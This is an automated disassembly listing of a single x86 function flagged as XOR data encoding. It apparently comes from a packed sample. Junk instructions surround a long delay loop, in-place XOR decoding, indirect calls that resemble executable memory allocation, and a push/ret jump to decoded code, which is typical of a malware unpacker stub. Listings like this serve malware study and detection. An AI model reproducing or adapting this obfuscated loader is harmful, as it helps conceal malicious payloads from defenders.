Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x7c38399b
add ebx, ebx
add ebx, 0x6385361a
sub edx, ebx
popal
not ebx
or ebx, edx
mov esi, 0
mov edi, ebx
and ecx, eax
dec ecx
mov edx, edi
add eax, 0xb71e4cb
mov ecx, eax
mov ebx, edx
sub eax, 1
or ecx, ecx
mov ecx, eax
add esi, 1
sub ecx, eax
add eax, ecx
add ecx, 0x69e1dbf2
cmp esi, 0x1002cb0
jne 0xa789c6
mov eax, 0x3a7f1f81
sub eax, 0x84d60ca1
sub ecx, eax
mov ebx, 0xad15fafa
mov ebx, edx
add edx, 0x4aa39cd5
mov ecx, 0xa78796
add edi, edi
sub edi, edx
sub eax, edx
mov esi, 0xa7898a
mov edx, 0x9bedabf9
mov eax, edi
mov ebx, dword [ecx]
dec edi
add edi, edx
and ebx, 0xff
or edi, eax
not eax
sub edx, 1
xor dword [esi], ebx
sub eax, edx
add eax, edi
sub eax, 0xc5112d6b
inc esi
sub eax, 0x4abfe1f4
add eax, 0xd2790bee
inc edx
inc ecx
and edi, eax
mov edi, 0xc97910
cmp esi, entry0
jl 0xa78a2e
sub eax, 0xebbe6b53
and eax, edx
add edx, 0x32477dc7
not edi
add edi, 0x267c476f
add esi, 0xa05323f5
inc ecx
mov edi, 0xfd49c217
mov ebx, 0xa7898e
sub esi, ecx
mov edi, edx
mov ebx, dword [ebx]
sub edx, esi
sub ecx, 0x7cacb93a
not ecx
mov ebx, dword [ebx]
mov edx, edi
sub esi, edi
push ebx
add edi, 0x1141d659
not ecx
mov ebx, 0xa7898a
dec edi
add esi, 0x300711c2
mov ebx, dword [ebx]
sub edx, 0xbc1ae18a
or esi, edx
add edx, 0x2a7605fd
mov ebx, dword [ebx]
not edi
add ecx, 1
push 0xa78992
mov edi, 0x45637ac7
inc ecx
not edx
call ebx
inc edi
inc ecx
sub edx, ecx
mov ebx, dword [esp]
add esp, 4
sub edx, edi
add esi, 0x7667cee4
mov esi, 0x6970199d
push 0xa7899f
mov edx, 0xa5a61616
or esi, ecx
push eax
sub edi, 0x5bf90dca
sub edx, 0x64c6d818
call ebx
and ecx, esi
mov edx, esi
inc ecx
push 0x40
mov edx, 0x3bc0ae47
mov edx, 0xf09a9af6
push 0x3000
inc ecx
not ecx
push 0x200003c1
dec ecx
sub esi, 0x3b30faa6
and esi, edx
sub esp, 4
mov dword [esp], 0
add edi, edi
inc edx
add esi, ecx
call eax
sub esi, edi
dec esi
sub edx, esi
add eax, 0x2000034a
or edi, ecx
mov ecx, edx
sub edx, 0xffe3959d
mov ebx, 0x910bf317
or ecx, edx
dec ecx
mov dword [eax], ebx
add edx, 0x5d2eb090
inc esi
mov ebx, dword [eax]
and edi, esi
mov ecx, 0x82a827a1
mov edx, edi
cmp ebx, 0x910bf317
je 0xa78b99
mov edx, 0
mov dword [edx], eax
sub edi, 1
and edx, edi
and ecx, edi
sub edi, esi
add edi, 0x1ced5ab9
mov edx, 0xde37f7fc
and edx, edx
add edx, 0x57afb43b
mov eax, section..reloc
sub edx, 0x714f279f
add edx, 0xff7c1629
mov ecx, 0xa78795
dec edx
sub edx, ebx
add edx, 0x950ce7aa
mov edi, 0
add ebx, ebx
mov edx, ebx
mov esi, 0xa78796
and ebx, edx
sub ebx, edx
add ebx, edx
lea esi, [esi + edi]
sub edx, 0xdd361581
sub edx, ebx
add edx, edx
mov esi, dword [esi]
mov ebx, edx
dec ebx
and esi, 0xff
inc ebx
mov ebx, 0xeebeddc1
sub edx, 0x4578f2c7
inc edi
mov ebx, 0x295a46cc
inc ebx
cmp edi, 0x1f4
jne 0xa78c23
mov edi, 0
mov edx, 0x987de5fe
not edx
add ebx, 0xe2f5ee47
mov edx, ebx
xor dword [eax], esi
and ebx, edx
inc ebx
add eax, 2
add edx, edx
sub edx, 0x2701aff5
sub edx, ebx
cmp eax, ecx
jl 0xa78be0
mov ebx, 0xe2e9ddd8
or edx, ebx
add edx, 1
sub edx, ebx
add edx, ebx
mov edi, section..reloc
dec eax
add eax, esi
mov ebx, section..reloc
add esi, 0x95dca8e6
mov esi, eax
or eax, eax
mov edx, 0xa78795
not esi
mov eax, 0xf0dfc2b4
and eax, esi
mov ecx, 0
add esi, 0xbaec44aa
mov esi, 0xda4235
mov cl, byte [ebx]
mov esi, 0xe0a31c43
sub eax, esi
mov eax, esi
mov byte [edi], cl
not esi
dec eax
add esi, esi
inc edi
not eax
mov eax, esi
add ebx, 2
dec esi
not eax
cmp ebx, edx
jle 0xa78c95
inc esi
sub eax, 0x76f91e17
dec ebx
sub edx, 0xc54f2ddd
and edx, ebx
push 0x8dc6a0
inc ebx
dec edx
and edx, ebx
ret